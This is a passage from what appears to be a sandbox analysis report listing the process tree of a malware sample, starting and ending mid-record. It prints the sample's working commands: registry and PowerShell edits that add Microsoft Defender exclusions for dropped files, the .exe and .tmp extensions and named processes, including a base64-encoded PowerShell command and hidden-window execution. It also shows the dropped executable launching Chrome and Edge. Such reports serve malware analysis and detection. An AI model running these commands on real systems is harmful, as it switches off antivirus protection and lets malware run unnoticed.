    C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_910efff2.vbs""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2988
  - - C:\Windows\system32\wscript.exe
      wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\wmi_910efff2.vbs"
      4⤵
      PID:4628
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4976
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:1176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2052
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:4420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:800
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:1756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4008
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518" /t REG_DWORD /d 0 /f
      4⤵
      PID:1168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4924
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:3244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3680
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache" /t REG_DWORD /d 0 /f
      4⤵
      PID:2256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:652
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:1564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4532
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:1592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4936
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:1044
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4600
  - - C:\Windows\system32\reg.exe
      reg add "HKCU\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe" /t REG_DWORD /d 0 /f
      4⤵
      PID:2888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4776
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:2680
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4556
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Extensions" /v ".tmp" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:4728
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_1.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1560
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_1.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:2104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_2.exe" /t REG_DWORD /d 0 /f"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3768
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" /v "component_2.exe" /t REG_DWORD /d 0 /f
      4⤵
      Windows security bypass
      PID:4176
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzAEYAcgBjAEYAZgBKAEgAaABnAE0AYwB0AE4AbQA1ADgAcgA4AE0AZgA2AG0AcQA3ADQAUABcAEkAbgBzAHQAYQBsAGwAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAMQAzADcANgA3ADMANQAxADgAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUwBlAHQAdQBwAFwAYwBhAGMAaABlAFwAMQA3ADgAMwAxADMANwA2ADcAMwA1ADEAOABcAGMAbwBtAHAAbwBuAGUAbgB0AF8AMQAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAXAAxADcAOAAzADEAMwA3ADYANwAzADUAMQA4AFwAYwBvAG0AcABvAG4AZQBuAHQAXwAyAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAYwBvAG0AcABvAG4AZQBuAHQAXwAxAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBjAG8AbQBwAG8AbgBlAG4AdABfADIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2476
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzAEYAcgBjAEYAZgBKAEgAaABnAE0AYwB0AE4AbQA1ADgAcgA4AE0AZgA2AG0AcQA3ADQAUABcAEkAbgBzAHQAYQBsAGwAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQBcADEANwA4ADMAMQAzADcANgA3ADMANQAxADgAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAGMAYQBjAGgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAUwBlAHQAdQBwAFwAYwBhAGMAaABlAFwAMQA3ADgAMwAxADMANwA2ADcAMwA1ADEAOABcAGMAbwBtAHAAbwBuAGUAbgB0AF8AMQAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXABjAGEAYwBoAGUAXAAxADcAOAAzADEAMwA3ADYANwAzADUAMQA4AFwAYwBvAG0AcABvAG4AZQBuAHQAXwAyAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBFAHgAdABlAG4AcwBpAG8AbgAgACcALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAHQAbQBwACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgACcAYwBvAG0AcABvAG4AZQBuAHQAXwAxAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBjAG8AbQBwAG8AbgBlAG4AdABfADIALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUA
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2152
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\3FrcFfJHhgMctNm58r8Mf6mq74P\Installer.exe"
      4⤵
      PID:2008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:896
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518"
      4⤵
      PID:1480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1964
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache"
      4⤵
      PID:3260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4260
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe"
      4⤵
      PID:3156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1264
  - - C:\Windows\system32\reg.exe
      reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_2.exe"
      4⤵
      PID:3308
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe' -ErrorAction SilentlyContinue""
    3⤵
    - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
    - Hide Artifacts: Hidden Window
    - Hide Artifacts: Ignore Process Interrupts
    - Suspicious use of WriteProcessMemory
    PID:3444
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe' -ErrorAction SilentlyContinue"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3420
- - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe
    C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783137673518\component_1.exe
    3⤵
    - Suspicious use of NtCreateProcessExOtherParentProcess
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1640
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-gpu about:blank
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:1144
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffd93a9c728,0x7ffd93a9c734,0x7ffd93a9c740
        5⤵
        
        PID:3156
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1812,i,5402227571884434773,10018472268013586481,524288 --field-trial-handle=2072,i,11787206203532763578,7325168705293135001,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2100 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:2796
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1620,i,9567056605912880473,3888682389325970346,262144 --field-trial-handle=2072,i,11787206203532763578,7325168705293135001,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2068 /prefetch:2
        5⤵
        
        PID:2984
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2212,i,6100651412315714088,10324478079469384972,524288 --field-trial-handle=2072,i,11787206203532763578,7325168705293135001,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2364 /prefetch:13
        5⤵
        
        PID:4856
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3060,i,5769897358185559802,1278278288901446222,2097152 --field-trial-handle=2072,i,11787206203532763578,7325168705293135001,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3184 /prefetch:1
        5⤵
        
        PID:848
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3068,i,12900661576841491421,1167179154974947855,2097152 --field-trial-handle=2072,i,11787206203532763578,7325168705293135001,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3232 /prefetch:1
        5⤵
        
        PID:2948
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4120,i,5453969823926455726,18416451781509305999,2097152 --field-trial-handle=2072,i,11787206203532763578,7325168705293135001,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4172 /prefetch:9
        5⤵
        
        PID:1056
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5608,i,14570419302385371601,65413824423992795,524288 --field-trial-handle=2072,i,11787206203532763578,7325168705293135001,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5644 /prefetch:14
        5⤵
        
        PID:7008
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --disable-gpu about:blank
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Modifies registry class
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      PID:6068
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
